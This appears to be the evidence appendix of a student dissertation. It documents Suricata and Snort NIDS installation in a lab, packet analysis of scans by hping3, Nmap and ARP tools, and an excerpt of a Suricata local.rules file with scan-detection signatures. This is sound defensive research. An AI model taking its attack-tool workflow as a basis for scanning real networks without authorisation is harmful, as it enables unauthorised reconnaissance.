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This Additional Evidence 1 (AE1) has been submitted in support of the Major Project dissertation.   The document contains:
Appendix 1: Analysis of Peer Reviewed Papers: 
Outlines the methodology used to analyse the peer review papers during the literature review.
Appendix 2: Network Traffic Analysis Fundamentals:
Provides details of the Open System Interconnect (OSI) Model and packet structure. Both are crucial to conduct effective NTA.  
Additional information on Address Resolution Protocol (ARP) analysis in included in this section.
Appendix 3: Additional Implementation Detail:
This section provides additional information on the implementation of the Virtual Environment (VE) to model a University Campus Enterprise Network (UCEN).  It documents the installation and configuration process of the Network Intrusion Detection System (NIDS) and provides a comparison of the file structures of each NIDS.  
The process of migrating a Virtual Machine (VM) from the Home PC Testbed (HPT) to the Main Server Testbed (MST) is also documented.  In addition, the process used to expand the Hard Disk Drive (HDD) size so that testing could be conducted unhindered by disk limitations is also covered.
The Signature ID allocation process is also documented; this provided a unique identifier for all rules created.  Finally, provisional testing is recorded, ensuring the VE testbed was fully functional prior to testing. 


Appendix 4: Data Metrics and Analysis NTA and Signature/Rule Creation:
The Signature/Rule creation process is documented.  It details the process of detecting the Packet Features of the hacking-tools by NTA.  It also documents the Signatures/Rules created to detect L2 ARP attack traffic.  
The Suricata local.rules file is documented, highlighting the signatures/rules that successfully detected attack traffic and the signatures/rules that did not.
Finally, the Signature Alert Generation frequency analysis is detailed.  This work was not completed due to time constraints.  However, would have provided insight into which signatures were the most frequently triggered and provide insight into how to create more effective signatures/rules. 
Appendix 5: Testing and Evaluation:
The most relevant and interesting tests conducted over all four-phases of testing are documented.  It provides an insight into the inner workings of the hacking-tools and NIDS.  In addition, evidence of evasion techniques being tested and whether they were successfully detected are outlined.  It also documents the process of exfiltrating data from a Database by using a Subject Query Language Injection Attack (SQLIA) and whether this was detected by the NIDS.
Appendix 6: Additional Evidence Contents:
This table provides a brief overview of all Additional Evidence Items.


[bookmark: _Toc216531381]AE Appendices
[bookmark: _Toc216531382]AE Appendix 1: Analysis of Body of Knowledge Researched
[bookmark: _Toc216531383]A1.1 Overview of All Sources
Table 1 and Figure.1 (Fig.1) shows an overview of all sources researched during this project.  The primary source of knowledge researched came from peer reviewed papers making up 73% of all sources.  
Peer reviewed papers were used as they are a credible source of knowledge and have been thoroughly scrutinised prior to publication.  This ensured the research and data used for this project was at a high standard.  In addition, they provided examples of how an academic piece of work should be written and guidance on how data should be analysed and presented in a professional manner.
This knowledge was augmented by relevant textbooks sourced from the University library or purchased.  In a similar vain to the peer reviewed papers, these textbooks would also have been thoroughly examined and edited prior to publication.  This ensured the content was accurate and to a high standard.
Credible websites were used from trustworthy sources.  This included Government bodies, academia, professional cybersecurity organisations and the developers of software.  In addition, the websites of the Network Intrusion Detection Systems (NIDS) developers were used as a source of information integral to the installation and configuration of the NIDS.  They also provided details on the signatures/rule syntax/structure and how to create signatures/rules which was instrumental during testing.
[bookmark: _Toc216531566]Table 1: Overview of All Sources
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[bookmark: _Toc216531428]Figure 1: Overview of All Sources (Pie Chart)
[bookmark: _Toc216531384]A1.2 Analysis of Peer Reviewed Papers
A1.2.1 Ranked Overview of all Peer Reviewed Papers within Literature Review
A1.2.1.1 Ranked Literature Review – General
Tables 2-4 outline the peer review papers in the general literature review giving advantages, disadvantages and overall ranking of each academic paper.
[bookmark: _Toc216531567]Table 2: Ranked Literature Review - General-1
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[bookmark: _Toc216531568]Table 3: Ranked Literature Review - General-2
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[bookmark: _Toc216531569]Table 4: Ranked Literature Review - General-3
[image: A white and yellow box with black text

AI-generated content may be incorrect.]


A1.2.1.2 Ranked Literature Review – Related Works
Table 5 Provides the advantages and disadvantages for each peer reviewed paper in the related works literature review.  These were most closely aligned to this project.  Each paper was given a score/rank based on the quality and detail of information contained, whether any inaccuracies were identified and potential missed opportunities.  
The scoring ran from 1 being the worst and 10 the best.
[bookmark: _Toc216531570]Table 5: Ranked Literature Review - Related Works
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A1.2.2 Overview of Critically Analysed Peer Reviewed Papers within Literature Review

Table 6 provides an overview of peer reviewed papers critically analysed during the literature review.
[bookmark: _Toc216531571]Table 6: Literature Review Overview Table
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A1.2.2 Peer Reviewed Paper Critical Analysis Methodology 
Table 7 shows an example of the methodology used to critically analyse the 119 peer reviewed papers 33 of which were researched during the literature review. This focused on the research strategy, approach, method (Data), dataset, data collection and analysis methods. A critique of these areas of the research papers was undertaken.  This ensured any strengths in the research methodology could be replicated and shortfalls avoided for this study. 
[bookmark: _Toc216531572]Table 7: Peer Reviewed Paper Methodology Critical Analysis
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Table 8 shows further critical analysis conducted from a different aspect.  The focus moved to the method used during the research experiment within the peer reviewed papers.  This table details how the experiment was conducted, the key findings of the research and any strengths and limitations.  In addition, the table also contained the literature gap and the relevance to this project.
Table 9 shows the final stage of the critical analysis process.  Information gleaned from the peer reviewed papers in tables 7-8 were used to write the literature review.  This process gave the author a foundational base of knowledge and acted as a starting point for this project.  
[bookmark: _Toc216531573]Table 8: Refining the Critical Analysis
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[bookmark: _Toc216531574]Table 9: Final Stage of Critical Analysis
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A1.2.3 Peer Reviewed Papers Record Utilising PRISMA Methodology
All Peer Reviewed Papers researched during this study were recorded in a spreadsheet.  This spreadsheet was based on the Preferred Reporting Items for Systematic Reviews and Meta-Analysis (PRISMA) methodology.  The PRISMA record aided research by facilitating the identification of the correct peer reviewed paper to reference. The peer reviewed papers were also screened using the PRISMA record to ensure suitability prior to citation, Table 10 shows an excerpt of the PRISMA Record:
[bookmark: _Toc216531575]Table 10: Peer Reviewed Paper Record using PRISMA principles
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[bookmark: _Toc216531385]AE Appendix 2: Network Traffic Analysis Fundamentals
[bookmark: _Toc216531386]A2.1: The Open System Interconnection (OSI) Model
Table 11 illustrates the Open System Interconnection (OSI) Model which describes each of the seven layers used to transfer data between end devices.  The OSI model is responsible for converting data from Layer 1: Binary, (transported along the physical network), to Layer 7: Readable and usable data for applications and end users.  Understanding the OSI Model is crucial to create NIDS rules, comprehending how NIDS function and how they alert on detecting malicious network traffic.
[bookmark: _Toc216531576]Table 11: OSI Model
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[bookmark: _Toc216531387]A2.2: Network Traffic Analysis
Network traffic is divided into Frames, Packets, Segments or Datagrams.  Each contain a header and data/payload section.  For ease of reference, the term “packet” will be used to describe these in the following section.  
The header contains information required to process the packet.  The information contained within fields varies from packet to packet but can provide the source/destination addresses, protocol, service and flags.  The NIDS inspect the packet header to determine whether the packet is malicious or not.  Some NIDS can also inspect the data/payload to determine whether this section of the packet is malicious.  A process known as Deep Packet Inspection (DPI).
It is crucial to understand network traffic down to the packet level so that NIDS rules can be configured to detect malicious traffic.  By dissecting and understanding the packet header it was possible to create manual NIDS rules that identify specific types of traffic.  The more specific the NIDS rule/signature, using the packet features gleaned by NTA, the more accurate the NIDS detection became.
Figs.2-10 show the packet structure of several common network traffic types while tables 12-18 provide details of each packet field. 


[bookmark: _Toc216531388]A2.2.1 Ethernet Frame Analysis
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[bookmark: _Toc216531429]Figure 2: Ethernet Frame Analysis
[bookmark: _Toc216531577]Table 12: Ethernet Frame Analysis Detail
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[bookmark: _Toc216531389]A2.2.2 IPv4 Packet Analysis
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[bookmark: _Toc216531430]Figure 3: IP Packet Analysis

[bookmark: _Toc216531578]Table 13: IPv4 Packet Analysis Detail
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[bookmark: _Toc216531390]A2.2.3 ICMP Packet Analysis
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[bookmark: _Toc216531431]Figure 4: ICMP Packet Analysis


[bookmark: _Toc216531579]Table 14: ICMP Packet Analysis Detail
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[bookmark: _Toc216531391]A2.2.4 ARP Packet Analysis
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[bookmark: _Toc216531432]Figure 5: ARP Packet Analysis

[bookmark: _Toc216531580]Table 15: ARP Packet Analysis Detail
[image: A screen shot of a computer

AI-generated content may be incorrect.]

A2.2.4.1 Further ARP Packet Analysis
NTA was conducted to compare a genuine ARP packet and an Arping/Arp-Scan packets to determine if any packet features could be used to create a signature/rule to detect malicious ARP traffic. Fig.6-7 shows an ARP packet from the Arping hacking tool whilst conducting Test #37 (Phase-I).  Table 16 details the similarities and differences of each ARP packet type.
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[bookmark: _Toc216531433]Figure 6: Wireshark packet analysis of an ARP packet from Arping tool.
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[bookmark: _Toc216531434]Figure 7: Wireshark packet analysis of an ARP packet from Arp-Scan tool.

[bookmark: _Toc216531581]Table 16: ARP Packet Analysis
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[bookmark: _Toc216531392]A2.2.5 TCP Segment Analysis
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[bookmark: _Toc216531435]Figure 8: TCP Segment Analysis


[bookmark: _Toc216531582]Table 17: TCP Segment Analysis Detail
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[bookmark: _Toc216531393]A2.2.6 UDP Datagram Analysis
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[bookmark: _Toc216531436]Figure 9: UDP Datagram Analysis


[bookmark: _Toc216531583]Table 18: UDP Datagram Analysis Detail
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[bookmark: _Toc216531437]Figure 10: QUIC Packet Analysis
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[bookmark: _Toc216531409]A3.1 TCPdump

TCPdump is pre-installed on Linux VMs by default and was used for fault finding and testing, however, TCPdump has limited filtering capabilities. To illustrate this a TCPdump session was started whilst a file copied between two VMs, see Figs.11. 
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[bookmark: _Toc216531438]Figure 11: Starting TCPdump capture
Fig.12 shows the PCAP file within Wireshark, which indicates that SSH traffic was also captured.
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[bookmark: _Toc216531439]Figure 12: Unfiltered SSH traffic using TCPdump
During testing, if SSH traffic is also captured from the session between the DAS and the NIDS.  This highlighted a potential issue, if left unfiltered this would have increased the size of the PCAP file.  Therefore, this would require further filtering when capturing the PCAP file.


[bookmark: _Toc216531410]A3.2 Tshark
Tshark is an alternative to TCPdump, and has more powerful filtering options.  Tshark was therefore installd and used on all NIDS to provide better filtering capabilities.
Tshark filtering is illustrated in Figs.13, without filtering and Fig.14, with filtering:
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[bookmark: _Toc216531440]Figure 13: Using tshark without filter to display the ssh traffic
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[bookmark: _Toc216531441]Figure 14: The Tshark command with filtering


[bookmark: _Toc216531411]A3.3 Nessus
The student version of Nessus essentials was installed on a Windows Server 2019 VM to conduct vulnerability scan tests, see Fig.15:
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[bookmark: _Toc216531442]Figure 15: Installing Nessus


Figs.16-17 show the results of a test vulnerability scan.
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[bookmark: _Toc216531443]Figure 16: Nessus Vulnerability Scan Results (Hosts)
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[bookmark: _Toc216531444]Figure 17: Nessus Vulnerability Scan Results (Vulnerabilities)






[bookmark: _Toc216531412]A3.4 Configuring the Data Aggregation Server (DAS)
Fig.18 shows the DAS desktop.  The DAS server was used as a central point to log into all Systems Under Test (SUT) and store alert logs, PCAP files in a Test results folder stored on the desktop.
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[bookmark: _Toc216531445]Figure 18: Files created ready for results

SSH sessions were initiated from the DAS and colour coded to facilitate identification of the NIDS.  Fig.19 shows the SSH sessions and version numbers of each NIDS, using the PuTTY terminal.
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[bookmark: _Toc216531446]Figure 19: PuTTY sessions open with all SUT from DAS
Fig.20 shows the WinSCP tool installed on the DAS server. This was used to transfer data to and from the NIDS, using Secure Fire Transfer Protocol (SFTP).  Fig.21 shows data transfer in progress using WinSCP.
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[bookmark: _Toc216531447]Figure 20: WinSCP Saved Sessions
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[bookmark: _Toc216531448]Figure 21: WinSCP Live Session with Suricata Server



[bookmark: _Toc216531413]A3.5 NIDS Installation – Additional Details
A3.5.1 Suricata
Figs.22-24 show the Suricata installation process: 
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[bookmark: _Toc216531449]Figure 22: Command used to install Suricata
[image: A computer screen with white text

AI-generated content may be incorrect.]
[bookmark: _Toc216531450]Figure 23: Suricata being installed
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[bookmark: _Toc216531451]Figure 24: Validating Suricata post installation

A3.5.2 Snort2
Figs.25-27 show the Snort2 installation process: 
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[bookmark: _Toc216531452]Figure 25: Command used to install Snort2
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[bookmark: _Toc216531453]Figure 26: Snort2 Package Configuration
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[bookmark: _Toc216531454]Figure 27: Validating Snort2 post installation



A3.5.3 Snort3
Fig.28 shows the process of building Snort3 from source code.  Fig.29 shows the installation of Snort3. Fig.30 shows the Snort3 installation being validated with 0 Warnings.
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[bookmark: _Toc216531455]Figure 28: Building Snort3 from Source-Code
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[bookmark: _Toc216531456]Figure 29: Installing Snort3
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[bookmark: _Toc216531457]Figure 30: Validating Snort3 Installation

Fig.31 shows the PulledPork3 being validated post installation.
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[bookmark: _Toc216531458]Figure 31: Validating PulledPork3 Installation



[bookmark: _Toc216531414]A3.6 NIDS Configuration – Additional Details

A3.6.1 NIDS File Structure 
It is essential to understand the file structure of the three NIDS.  This facilitated in locating the files required to configure the NIDS and signatures/rules and to monitor the NIDS alerts.


A3.6.1.1 Suricata File Structure 
Fig.32 shows the Suricata file structure.  The /var/lib/suricata/rules contains the downloaded rules from the developer. However, the manually created rules were stored in /etc/suricata/rules.  The /var/log/suricata/ directory contained all the alert logs, /etc/suricata contained the suricata.yaml configuration file.
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[bookmark: _Toc216531459]Figure 32: Suricata File Structure
A3.6.1.2 Snort2 File Structure
Fig.33 shows the Snort2 file structure.  The /etc/snort/rules contained both the downloaded rules from the developer and the manually created rules.  The /var/log/snort/ directory contained all the alert logs, /etc/snort contained the snort.conf configuration file, and classification file.
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[bookmark: _Toc216531460]Figure 33: Snort2 file structure
 
A3.6.1.3 Snort3 File Structure 
Fig.34 shows the Snort3 file structure.  The /home/cslab/snort/ contained the dependencies for Snort3.  The /var/log/snort/ directory stored all the alert logs, /user/local/etc/snort contained the snort.lua configuration file.  The rule files were downloaded by PulledPork and stored in /usr/local/etc/so_rules. Local rules were not used but would have been stored in /usr/local/etc/rules.
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[bookmark: _Toc216531461]Figure 34: Snort3 file structure
A3.6.2 Suricata

The suricata.yaml file held the Suricata configuration, see Figs.35-39:
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[bookmark: _Toc216531462]Figure 35: Suricata Configuration of HOME_NET
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[bookmark: _Toc216531463]Figure 36: Log file formats
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[bookmark: _Toc216531464]Figure 37: Specifying the Interface to conduct monitoring
[image: ]
[bookmark: _Toc216531465]Figure 38: Promiscuous mode enabled in Suricata configuration
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[bookmark: _Toc216531466]Figure 39: Application-Layer protocols can be enabled/disabled
Fig.40 shows the process that enabled absolute filenames.  This is required to define the location of the local.rules file.
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[bookmark: _Toc216531467]Figure 40: Enabling absolute filenames

By default, there are no signatures/rules when Suricata is installed first, these must be downloaded from OSIF.  Fig.41 shows the file location of the rules.
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[bookmark: _Toc216531468]Figure 41: Location of the rules file before issuing suricata-update command

It is therefore crucial to issue the suricata-update command.  This downloaded the latest version of signatures/rules into one large rule file managed by OSIF, see Fig.42:
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[bookmark: _Toc216531469]Figure 42: Issuing the suricata-update command


Fig.43 shows the Suricata rules being updated, and with 59,591 rules being added.
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[bookmark: _Toc216531470]Figure 43: Suricata rules being updated with 59,591 rules added
When Suricata-Update was ran, it also ran a test on Suricata configuration file, see Fig.44:

[image: ]
[bookmark: _Toc216531471]Figure 44: Suricata-update Test
The rules directory and the local.rules file had to be created manually. This file was used for site specific rules. For this project, the local.rules file was used to create rules to detect reconnaissance activity. See Fig.45:
[image: ]
[bookmark: _Toc216531472]Figure 45: suricata.rules file and classification.config files created
The classification.config file was used by Suricata to facilitate the alerting process.  When alert messages were generated, the classification structure included a description of the attack, the form of attack and a value.  The value 1 indicated an urgent level attack and values 3-4 information level, see Fig.46:
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[bookmark: _Toc216531473]Figure 46: Classification.config file

Suricata ran as a service. It started up automatically as soon as the server started and ran continuously.  However, it can be stopped and started manually, and it was possible to run Suricata with a different configuration file for testing, see Fig.47:
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[bookmark: _Toc216531474]Figure 47: Suricata Running


A3.6.3 Snort2
Figs.48-52 shows the snort.config file.  This defined the IP Address ranges that were monitored and the rule file locations. 
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[bookmark: _Toc216531475]Figure 48: HOME_NET IP Address Range
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[bookmark: _Toc216531476]Figure 49: Snort.debian.conf file
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[bookmark: _Toc216531477]Figure 50: Snort2 Rule file locations
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[bookmark: _Toc216531478]Figure 51: Selection of enabled rules
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[bookmark: _Toc216531479]Figure 52: The scan.rules file was crucial to detecting reconnaissance activity

Like Suricata, Snort2 also ran as a service.  The systemctl service command shows the defined snort.config file, alert.log  $HOME_NET see Fig.53:
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[bookmark: _Toc216531480]Figure 53: Snort2 Running Successfully


A3.6.4 Snort3
Fig.54 shows the Snort.lua configuration file, this defined the IP Address ranges, and rule files used by Snort3: 
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[bookmark: _Toc216531481]Figure 54: Configuring the HOME_NET IP Address Range

The snort log directory and both alert files, (alert_fast.text, alert_full.text) had to be created manually and the appropriate file permissions set to log detections, see Fig.55:
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[bookmark: _Toc216531482]Figure 55: Snort3 Log Directory and Alert files created manually



By default, Snort3 does NOT run as a service and needs to be started manually. Fig.56-57 show the commands used to start Snort3.  Fig.57 used the -D switch, that enabled Snort3 to run in detached mode, meaning it would run in the background: 
[image: ]
[bookmark: _Toc216531483]Figure 56: Basic command to run Snort3 printing results to the screen
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[bookmark: _Toc216531484]Figure 57: Command to run Snort3 and save the alerts to alert_fast.txt
Fig.58 show the command to view the alert logs in real-time: 
[image: ]
[bookmark: _Toc216531485]Figure 58: Command to view the live alerts in alert_fast.txt



A3.6.4.1 PulledPork Snort3 Rules

A Snort Oinkcode was required to allow PulledPork to download the signatures for Snort3.  Fig.59 shows the Snort portal and the location of the Oinkcode.  Fig.60 shows the Oinkcode being entered while Fig.61 shows the rule locations begin defined in the PulledPork configuration file.
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[bookmark: _Toc216531486]Figure 59: Obtaining the Oinkcode from Snort.org
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[bookmark: _Toc216531487]Figure 60: Oinkcode being placed into the PulledPork Configuraton
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[bookmark: _Toc216531488]Figure 61: Rule locations defined



Fig.62 shows the PulledPork rule location being defined in the snort.lua configuration file.
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[bookmark: _Toc216531489]Figure 62: Configuring the Rule files to use including PulledPork

Fig.63 shows the PulledPork Configuration being validated.  Like Snort3, PulledPork also does not run as a service and needs to be enabled manually, see Fig.64.  Fig.65 shows PulledPork running:
[image: ]
[bookmark: _Toc216531490]Figure 63: Command to validate PulledPork3
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[bookmark: _Toc216531491]Figure 64: Command to run PulledPork3
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[bookmark: _Toc216531492]Figure 65: Running PulledPork 





[bookmark: _Toc216531415]A3.7 Snort3 Migration from HPT to MST – OVA Migration Process
Figs.66-69 show the process used to export an OVA file from the HPT, using Snort3 as an example on this occasion.
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[bookmark: _Toc216531493]Figure 66: Exporting Snort3, creating an OVA
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[bookmark: _Toc216531494]Figure 67: Selecting Snort3 to export
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[bookmark: _Toc216531495]Figure 68: Exporting Snort3 with all Network Adapter and MAC Addresses
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[bookmark: _Toc216531496]Figure 69: Confirmation window of export process



Fig.70 shows the OVA files for both Snort3 and SSLTarget.
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[bookmark: _Toc216531497]Figure 70: OVA Files
Figs.71-72 show the process used to import the OVA file into the MST, using Snort3 as an example on this occasion.
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[bookmark: _Toc216531498]Figure 71: Importing Snort3 OVA into MST
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[bookmark: _Toc216531499]Figure 72: Importing Snort3 into MST





[bookmark: _Toc214551109][bookmark: _Toc216531416]A3.8 Snort3 Hard Disk Drive (HDD) diskspace challenge post migration from HPT to MST
Due to resource limitations of the HPT the HDD of the Snort3 server was limited to 25GB.  This was not sufficient for the live testbed, as alert logs and PCAP files would soon utilise this diskspace and would go into read-only mode.  
This was anticipated.  The HDD was therefore increased to 150GB in-line with the other NIDS in the MST to enable testing without issue. 
The diskspace was increased in the MST first, then the VM, Figs.73-78 show the HDD expansion process used:
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[bookmark: _Toc214551305][bookmark: _Toc216531500]Figure 73: Increasing the HDD of Snort3 VM in VirtualBox
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[bookmark: _Toc214551306][bookmark: _Toc216531501]Figure 74: Confirming the current sda2 partition is 25GB
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[bookmark: _Toc214551307][bookmark: _Toc216531502]Figure 75: SDA is 150GB while sda2 is 25GB
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[bookmark: _Toc214551308][bookmark: _Toc216531503]Figure 76: Extending sda2 to use all 150GB
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[bookmark: _Toc214551309][bookmark: _Toc216531504]Figure 77: Resizing the sda2 partition to 150GB
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[bookmark: _Toc214551310][bookmark: _Toc216531505]Figure 78: Confirming sda2 partition increased to 150GB


[bookmark: _Toc216531417]A3.9 Building the SSLTarget Webserver

During initial testing it was discovered that the Meta2 and BeeBox target VMs did not have digital certificates and therefore it would not be possible to use them as the target for the sslscan tool. 
It was therefore necessary to create a webserver which would use SSL Certificates and host a default HTTPS website suitable for the sslscan tool to use as a target.
Fig.79 shows the default SSL configuration file and the SSLCertificate and Key used for HTTPS connectivity.
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[bookmark: _Toc216531506]Figure 79: Default SSL Certificate and associated key

Fig.80 shows the default Ubuntu/Apache2 Default Page, using the HTTPS.  This shows the Apache2 Webserver and certificate were working: 
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[bookmark: _Toc216531507]Figure 80: Default HTTPS Website of SSLTarget


[bookmark: _Toc216531418]A3.10 Signature ID Allocation
During the Signatures/Rules creation process a Signature ID (SID) was used as a unique identifier.  The SID of local signatures/rules must start at 1,000,000, as the first million SID numbers are reserved for developers.  This is common to all three of the NIDS.  To facilitate testing and analysis, the author devised a standardised SID structure that would identify the hacking tool that triggered the alert, and the rule number.  A range of SIDs were allocated to each tool.  It had been anticipated that several rules would have been created.  However, due to time constraints, this work had to be scaled back. 
Tables 19-20 show the SID numbering linking the SID with the hacking-tool to facilitate analysis of an attack.  It was decided to concentrate on analysing the hacking-tools used in the Phase-II test-plan.  
[bookmark: _Toc216531584]Table 19: SID overview for local.rule
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[bookmark: _Toc216531585]Table 20: SID Overview
[image: A table with numbers and letters
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[bookmark: _Toc216531419]A3.11 Preliminary Testing
Prior to conducting experiments, the VMs within the testbed were tested for functionality/connectivity. Figs.81-90 show preliminary tests to ensure the testbed was fully functional prior to conducting the experiments. This included Pings, DNS lookups, browsing/logging into websites, network authentication, and a port-scan.  It also shows the resources used to run all the VMs within the testbed simultaneously.
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[bookmark: _Toc216531508]Figure 81: Pinging Meta2 from Kali
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[bookmark: _Toc216531509]Figure 82: DC-100 Testing DNS
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[bookmark: _Toc216531510]Figure 83: Testing DNS/Connectivity from DC100 to Meta2
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[bookmark: _Toc216531511]Figure 84: Browsing to Meta2 from DC-100
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[bookmark: _Toc216531512]Figure 85: Browsing to DVWA from DC-100
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[bookmark: _Toc216531513]Figure 86: Logged into DVWA from DC-100
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[bookmark: _Toc216531514]Figure 87: Logging onto Win11 PC via cyber.test domain/Kerberos
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[bookmark: _Toc216531515]Figure 88: Logged into Win11 PC evidence using gpresult
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[bookmark: _Toc216531516]Figure 89: VE Portscan
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[bookmark: _Toc216531517]Figure 90: VE Resource Utilisation



[bookmark: _Toc216531420]
AE Appendix 4: Data Metrics and Analysis – NTA & Signature/Rule Creation
[bookmark: _Toc216531421]A4.1 Further Analysis
A4.1.1 Further Network Traffic Analysis (NTA) and Signature creation

After Phase-I testing it was discovered that 16 signatures/rules were required to detect network traffic for some of the tests of Phase-II.  The Snort2 rule structure was limited, therefore it was not possible to create a rule to specifically detect this traffic.  Suricata provided a far more powerful signatures/rules syntax enabling packet analysis within the rule structure.  It was therefore decided to concentrate on creating Suricata rules, see Table 21:

[bookmark: _Toc216531586]Table 21: Phase-II tests requiring rules/signatures
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Table 22 outlines the nine signatures/rules that were created for Phase-II testing.  However, the number of Phase-II tests were eventually reduced therefore not all tools were used.  Of these signatures, 5 out of 9 were successful.   The remaining four rules did not work as they utilised the ARP protocol.  It was established during testing that this was a significant limitation of NIDS. 

[bookmark: _Toc216531587]Table 22: Signatures/Rules created for Phase-II testing-1
[image: A white and red table with red and yellow text
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It was noted that Suricata categorised some of the tests as normal traffic and therefore did not detect these as malicious. Due to Suricata’s enhanced rule structure it was possible to create specific rules to detect some of the FN traffic, see Table 23:
 
[bookmark: _Toc216531588]Table 23: Signatures/Rules created for Phase-II testing-2
[image: A screenshot of a computer
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It was also discovered that Snort2/Suricata were unable to detect hacking-tools using the ARP protocol.  Further research and NTA was conducted on the ARP protocol, and several signatures/rules were created for Suricata attempting to detect this traffic, but to no avail.
It was discovered that the Snort2 signatures/rules structure was very basic, as the signatures were not granular enough to detect some of the hacking-tools.


A4.1.1.1 Further NTA Signature Creation for hping3
Fig.91 shows the Kali attack VM during Phase1/Test1 using hping3, while Fig.92 shows the Suricata alert log monitoring in real-time.  No alerts were generated as Suricata did not detect this reconnaissance attack.
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[bookmark: _Toc216531518]Figure 91: Phase-I/Test-P1 Hping3
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[bookmark: _Toc216531519]Figure 92: Phase-I/Test-1 Hping3 -  Suricata Alert Log File - No Alerts
Fig.93 shows NTA Wireshark Packet analysis.  A PCAP file was loaded into Wireshark and specific packet features were identified, outlined in red:
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[bookmark: _Toc216531520]Figure 93: Wireshark capture for Phase-I/Test1 (hping3) highlighting packet features

Fig.94 show the signature/rule being created to detect hping3 attacks (SID: 1:1010001:2), using the packet features identified in Fig.93.  Fig.95 shows the newly created Signature/Rule (SID: 1:1010001:2) being triggered.  This indicated the signature/rule functioned correctly, and Suricata was now able to detect Hping3 reconnaissance attacks.
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[bookmark: _Toc216531521]Figure 94: Suricata Signature/Rule to detect hping3
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[bookmark: _Toc216531522]Figure 95: Phase-II(Short)/Test-77 showing hping3 Signature/Rule working
A4.1.1.2 Further NTA Signature Creation for Nmap

This process was repeated for Nmap.  Figs.96 shows an Nmap reconnaissance scan being undertaken during Phase-I/Test-24 Nmap not detected by Suricata.
[image: A screenshot of a computer

AI-generated content may be incorrect.]
[bookmark: _Toc216531523]Figure 96: Phase-I/Test-24 Nmap Kali Output - Not detected by Suricata
Fig.97 shows NTA being conducted using Wireshark. The packet features used to create the signature are outlined in red.  Fig.98 shows the newly created Nmap signature SID:1020008:1.
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[bookmark: _Toc216531524]Figure 97: Wireshark Analysis of Phase-I/Test-24 Nmap
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[bookmark: _Toc216531525]Figure 98: Signature to Detect NMAP



Figs.99-100 show an Nmap scan in progress and a completed Nmap scan.
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[bookmark: _Toc216531526]Figure 99: Phase-II(Long)Test-91L Nmap Scan in progress
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[bookmark: _Toc216531527]Figure 100: Completed Nmap Scan




Fig.101 shows the newly created signature (SID:1020008:1) detecting the Nmap scan.  This improved the detection capability and efficacy of Suricata in Phase-II(Long) testing.  Another manually created signature (SID:1060001:4) NBTscan activity was also triggered during this test.
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[bookmark: _Toc216531528]Figure 101: Alerts from Phase-II(Long)/Test-91L  - Proving Suricata detecting Nmap scan using new Signature / Also detects NBTScan





A4.1.1.3 Overview of NTA Signatures Created for Phase-II testing

Table 24 shows an overview of the packet features used to create the signatures/rules for Phase-II testing: 
[bookmark: _Toc215418667][bookmark: _Toc216531589]Table 24: Packet Features used in Signature/Rule Creation
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A4.1.1.4 Further NTA Signature Creation for ARP
During this research it was discovered that Snort2/Suricata were unable to detect attacks using ARP.   Signatures/Rules were created in an attempt to detect ARP traffic.  None of these signatures were able to successfully detect ARP traffic.  The first ARP rule attempted to detect the arping tool and were based on successful rules created for Hping3 and Nmap, see Table 25:
[bookmark: _Toc216531590]Table 25: ARP Signatures/Rules
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Further analysis and research was conducted into the structure of the ARP packets to determine packet features that could be used in the signature, See AE1 Appendix 2.2.4 and 2.2.4.1.  These were used in later signatures attempting to detect netdiscover but were also unsuccessful.  It is theorised that the developers of Suricata focus on Network traffic at L3 to L7 with an emphasis of traffic from the External Net variable, this would account for the inability to detect L2 attacks such as Arping and Arp-Scan that originate within the LAN. 
A4.1.2 Local.Rules File

Figs.102-104 show the Suricata local.rules file.  These rules significantly improved detection rates for specific hacking tools.  The local.rules file is available for inspection, see AE3.
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[bookmark: _Toc216531529]Figure 102: Suricata local.rules file-1
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[bookmark: _Toc216531530]Figure 103: Suricata local.rules file-2
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[bookmark: _Toc216531531]Figure 104: Suricata local.rules file-3





The text below is taken from the suricata local.rules file and includes both the attempted signatures and working signatures highlighted in green, and the non-working signatures highlighted in yellow.
The file also contains the working notes written during testing.
###############################################################################################################################
# Local site specific rules can be placed here.
#alert icmp any any -> any any (msg:"ICMP Detected"; sid:1000001; rev:1;)
#TCP and SYN rules working.
alert tcp any any -> any any (msg:"Possible Syn Port Scan"; flags:S; window:1024; sid:1900001; rev:3;)
#alert tcp any any -> any any (msg:"TCP Test Rule"; sid:1900002; rev:3;)
#########################################################################################################
# Attempting to detect Arping scans – NONE WORK.  This is because Suricata signatures cannot detect L2 ARP scans.
# NOTE: The content keyword "content:....." only works on TCP/UDP for L4 and above, as ARP is L2, this will not work.
#alert udp any any -> any any (msg:"Possible Arping Scan"; content:"|08 06|"; threshold: type any, count 10, seconds 10; sid:1990001; rev:1;)
#alert ip any any -> any any (msg:"Possible Arping Scan"; content:"|08 06|"; sid:1990002; rev:2;)
#alert udp any any -> any any (msg:"Possible Arping Scan"; content:"|08 06|"; sid:1990003; rev:2;)
#alert tcp any any -> any any (msg:"Possible Arping Scan"; content:"|08 06|"; sid:1990004; rev:2;)
#alert arp any any -> any any (msg:"Possible Arping Scan"; content:"|08 06|"; sid:1990005; rev:1;)
#alert tcp any any -> any any (msg:"Broadcast MAC Address Detected"; flow:in,out; ether.src=FF:FF:FF:FF:FF:FF; sid:199006; rev:2;)
#alert tcp any any -> any any (msg:"Broadcast MAC Address Detected"; flow:in,out; ether.dst=FF:FF:FF:FF:FF:FF; sid:1990007; rev:2;)
#alert ip any any  <> any any (msg:"Possible ARP Packet"; content:"ARP"; sid:199008; rev:1;)
#########################################################################################################
# Attempting to re-use Snort2 rules to detect reconnaissance traffic
# The rule below Snort2 SID:1100524 works in Snort2 but not in Suricata
#alert tcp $EXTERNAL_NET any <> HOME_NET 0 (msg:"BAD-TRAFFIC tcp port 0 traffic - Rule from Snort2"; flow:stateless; classtype:misc-activity; sid: 1100524; rev:8;)
#alert tcp any any <> any 0 (ms:"Simplfied BAD-TRAFFIC tcp port0 rule; sid 1101524; rev1;)
#########################################################################################################
# Attempting to detect Phase II Testing.
# Phase II Test 1  - Hping3 SYN scan - WORKS
alert tcp any any -> any 0 (msg:"Possible HPING3 SYN Packet"; ttl:64; flags:S; sid:1010001; rev:2;)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 2 - NMAP Scan - SID:1020005 & SID:1020008 WORK
#alert tcp any any -> any any (msg:"Possible NMAP TCP Scan Detected"; flags:T; threshold:type threshold, track by_src, count 10, seconds 3; sid:1020001; rev1;)
